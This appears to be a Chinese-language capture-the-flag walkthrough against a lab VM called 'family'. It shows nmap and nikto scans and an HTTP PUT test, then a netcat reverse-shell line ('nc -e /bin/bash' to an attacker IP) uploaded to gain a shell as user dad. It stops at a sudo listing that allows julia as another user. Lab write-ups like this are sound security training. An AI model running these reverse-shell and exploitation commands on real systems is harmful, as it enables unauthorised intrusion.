┌──(kali㉿kali)-[~/family3] └─$ sudo nmap -sS -sV -p- -A 192.168.56.110 -oN .family3 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-03 09:19 EDT Nmap scan report for 192.168.56.110 Host is up (0.00074s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open tcpwrapped |_ssh-hostkey: ERROR: Script execution failed (use -d to debug) 631/tcp open ipp CUPS 2.3 |_http-title: Home - CUPS 2.3.3op2 | http-robots.txt: 1 disallowed entry |_/ |_http-server-header: CUPS/2.3 IPP/2.1 MAC Address: 08:00:27:96:02:E3 (Oracle VirtualBox virtual NIC) No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.94SVN%E=4%D=7/3%OT=631%CT=1%CU=35764%PV=Y%DS=1%DC=D%G=Y%M=08002 OS:7%TM=66855021%P=x86_64-pc-linux-gnu)SEQ(SP=10A%GCD=1%ISR=10D%TI=Z%CI=Z%I OS:I=I%TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW OS:7%O5=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88 OS:%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40% OS:S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=% OS:RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W OS:=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=) OS:U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%D OS:FI=N%T=40%CD=S)
Network Distance: 1 hop
TRACEROUTE HOP RTT ADDRESS 1 0.74 ms 192.168.56.110
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 83.35 seconds
┌──(kali㉿kali)-[~] └─$ nikto -h 192.168.56.110 -p 8080 - Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.56.110 + Target Hostname: 192.168.56.110 + Target Port: 8080 + Start Time: 2024-07-06 09:08:37 (GMT-4) --------------------------------------------------------------------------- + Server: SimpleHTTP/0.6 Python/2.7.18 + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + SimpleHTTP/0.6 appears to be outdated (current is at least 1.2). + Python/2.7.18 appears to be outdated (current is at least 3.9.6). + /#wp-config.php#: #wp-config.php# file found. This file contains the credentials. + 8112 requests: 9 error(s) and 5 item(s) reported on remote host + End Time: 2024-07-06 09:09:06 (GMT-4) (29 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
mum@family:/home/dad/survey$ for x in GET POST PUT HEAD ; doecho"Method: $x" ; curl --head -X $x http://localhost:8000 ; done Method: GET HTTP/1.0 200 OK Server: SimpleHTTP/0.6 Python/2.7.18 Date: Sat, 06 Jul 2024 13:45:54 GMT Content-type: text/html Content-Length: 7031 Last-Modified: Mon, 17 Oct 2022 16:24:46 GMT
Method: PUT curl: (52) Empty reply from server Method: HEAD HTTP/1.0 200 OK Server: SimpleHTTP/0.6 Python/2.7.18 Date: Sat, 06 Jul 2024 13:45:54 GMT Content-type: text/html Content-Length: 7031 Last-Modified: Mon, 17 Oct 2022 16:24:46 GMT
果然是可以进行PUT请求的
那就常规利用netcat反弹shell
1 2 3 4 5 6 7 8
mum@family:/tmp$ echo"nc -e /bin/bash 192.168.56.102 4444" > rev mum@family:/tmp$ cat rev nc -e /bin/bash 192.168.56.102 4444 mum@family:/tmp$ curl -X PUT -T rev 127.0.0.1:8000 % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 36 0 0 100 36 0 35 0:00:01 0:00:01 --:--:-- 35 curl: (52) Empty reply from server
执行一下project成功拿到dad的shell
提权baby用户
查看一下sudo权限sudo -l
1 2 3 4 5 6
dad@family:~$ sudo -l Matching Defaults entries for dad on family: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User dad may run the following commands on family: (baby) NOPASSWD: /usr/bin/julia